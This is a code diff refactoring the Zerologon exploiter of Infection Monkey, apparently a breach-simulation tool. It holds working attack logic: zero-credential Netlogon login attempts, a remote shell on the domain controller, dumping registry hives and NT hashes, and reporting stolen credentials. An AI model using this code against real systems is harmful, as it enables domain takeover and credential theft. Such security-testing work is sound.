diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index dc912f43d..03957ea2c 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -21,6 +21,7 @@ from infection_monkey.exploit.zerologon_utils.options import \ OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger +from infection_monkey.utils.capture_output import StdoutOutputCaptor LOG = logging.getLogger(__name__) @@ -47,7 +48,7 @@ class ZerologonExploiter(HostExploiter): # Connect to the DC's Netlogon service. try: - rpc_con = self.connect_to_dc() + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") return @@ -55,29 +56,7 @@ class ZerologonExploiter(HostExploiter): # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. LOG.debug("Attempting exploit.") - result = None - for _ in range(0, self.MAX_ATTEMPTS): - try: - result = self.attempt_exploit(rpc_con) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") - - if result is not None: - break - - if result['ErrorCode'] == 0: - self.report_login_attempt(result=True, user=self.dc_name) - _exploited = True - LOG.info("Exploit complete!") - else: - self.report_login_attempt(result=False, user=self.dc_name) - _exploited = False - LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") + self._send_rpc_login_requests(rpc_con) else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -95,15 +74,33 @@ class ZerologonExploiter(HostExploiter): return _exploited def is_exploitable(self) -> bool: + if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']: + return True return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self) -> object: - binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) - return rpc_con + def _send_rpc_login_requests(self, rpc_con) -> None: + result_exploit_attempt = None + for _ in range(0, self.MAX_ATTEMPTS): + try: + result_exploit_attempt = self.attempt_exploit(rpc_con) + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + if result_exploit_attempt is not None: + if result_exploit_attempt['ErrorCode'] == 0: + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True + LOG.info("Exploit complete!") + else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False + LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") + break def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -139,20 +136,15 @@ class ZerologonExploiter(HostExploiter): if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") - self.remove_locally_saved_HKLM_keys() - # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(original_pwd_nthash) - if rpc_con is not None: - break + if rpc_con: + LOG.debug("DC machine account password should be restored to its original value.") + return True - if rpc_con: - LOG.debug("DC machine account password should be restored to its original value.") - return True - else: - raise Exception("Failed to restore password! Max attempts exceeded?") + raise Exception("Failed to restore password! Max attempts exceeded?") except Exception as e: LOG.error(e) @@ -173,7 +165,10 @@ class ZerologonExploiter(HostExploiter): self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) return ':'.join(hashes) # format - "lmhash:nthash" - def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]: + def get_dumped_secrets(self, + remote_name: str = '', + username: str = '', + options: Optional[object] = None) -> List[str]: dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) @@ -217,28 +212,27 @@ class ZerologonExploiter(HostExploiter): if not self.save_HKLM_keys_locally(admin_pwd_hashes): return - options = OptionsForSecretsdump( - dc_ip=self.dc_ip, - just_dc=False, - system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), - sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), - security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') - ) + try: + options = OptionsForSecretsdump( + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), + sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), + security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + ) - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) - for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[2] - return nthash + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) + for secret in dumped_secrets: + if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[2] + return nthash - def remove_locally_saved_HKLM_keys(self) -> None: - for name in ['system', 'sam', 'security']: - path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - try: - os.remove(path) - except Exception as e: - LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + except Exception as e: + LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}") + + finally: + self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: LOG.debug("Starting remote shell on victim.") @@ -250,9 +244,8 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout + output_captor = StdoutOutputCaptor() + output_captor.capture_stdout_output() try: # Save HKLM keys on victim. @@ -277,10 +270,7 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Exception occured: {str(e)}") finally: - sys.stdout = _orig_stdout - _new_stdout.seek(0) - info = _new_stdout.read() - + info = output_captor.get_captured_stdout_output() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: @@ -288,10 +278,18 @@ class ZerologonExploiter(HostExploiter): return False + def remove_locally_saved_HKLM_keys(self) -> None: + for name in ['system', 'sam', 'security']: + path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + try: + os.remove(path) + except Exception as e: + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: # Connect to the DC's Netlogon service. try: - rpc_con = self.connect_to_dc() + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") return diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 19667a7da..2e73ff9de 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -9,6 +9,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, SAMHashes) from impacket.smbconnection import SMBConnection +from infection_monkey.utils.capture_output import StdoutOutputCaptor + LOG = logging.getLogger(__name__) @@ -53,9 +55,9 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout + output_captor = StdoutOutputCaptor() + output_captor.capture_stdout_output() + dumped_secrets = '' try: @@ -176,9 +178,7 @@ class DumpSecrets: except Exception: pass finally: - sys.stdout = _orig_stdout - _new_stdout.seek(0) - dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys + dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys return dumped_secrets def cleanup(self): diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index 713cf50dd..fca17199b 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -75,11 +75,7 @@ class ZerologonFinger(HostFinger): def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + rpc_con = self.connect_to_dc(dc_ip) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 @@ -111,3 +107,10 @@ class ZerologonFinger(HostFinger): except BaseException as ex: raise Exception(f'Unexpected error: {ex}.') + + def connect_to_dc(self, dc_ip: str) -> object: + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py new file mode 100644 index 000000000..4c27abfeb --- /dev/null +++ b/monkey/infection_monkey/utils/capture_output.py @@ -0,0 +1,22 @@ +import io +import sys + + +class StdoutOutputCaptor: + def __init__(self): + _orig_stdout = None + _new_stdout = None + + def capture_stdout_output(self) -> None: + self._orig_stdout = sys.stdout + self._new_stdout = io.StringIO() + sys.stdout = self._new_stdout + + def get_captured_stdout_output(self) -> str: + self._reset_stdout_to_original() + self._new_stdout.seek(0) + info = self._new_stdout.read() + return info + + def _reset_stdout_to_original(self) -> None: + sys.stdout = self._orig_stdout diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index aa20422c5..762307314 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -182,17 +182,17 @@ class ReportService: def get_stolen_creds(): creds = [] - stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems() + stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems() creds.extend(stolen_system_info_creds) - stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems() + stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() creds.extend(stolen_exploit_creds) logger.info('Stolen creds generated for reporting') return creds @staticmethod - def get_credentials_from_system_info_telems(): + def _get_credentials_from_system_info_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1}): @@ -201,7 +201,7 @@ class ReportService: return formatted_creds @staticmethod - def get_credentials_from_exploit_telems(): + def _get_credentials_from_exploit_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, {'data.info.credentials': 1, 'monkey_guid': 1}): @@ -212,19 +212,19 @@ class ReportService: @staticmethod def _format_creds_for_reporting(telem, monkey_creds): creds = [] - PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} if len(monkey_creds) == 0: return [] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: - for pass_type in PASS_TYPE_DICT: - if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: + for cred_type in CRED_TYPE_DICT: + if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: continue username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user cred_row = \ { 'username': username, - 'type': PASS_TYPE_DICT[pass_type], + 'type': CRED_TYPE_DICT[cred_type], 'origin': origin } if cred_row not in creds: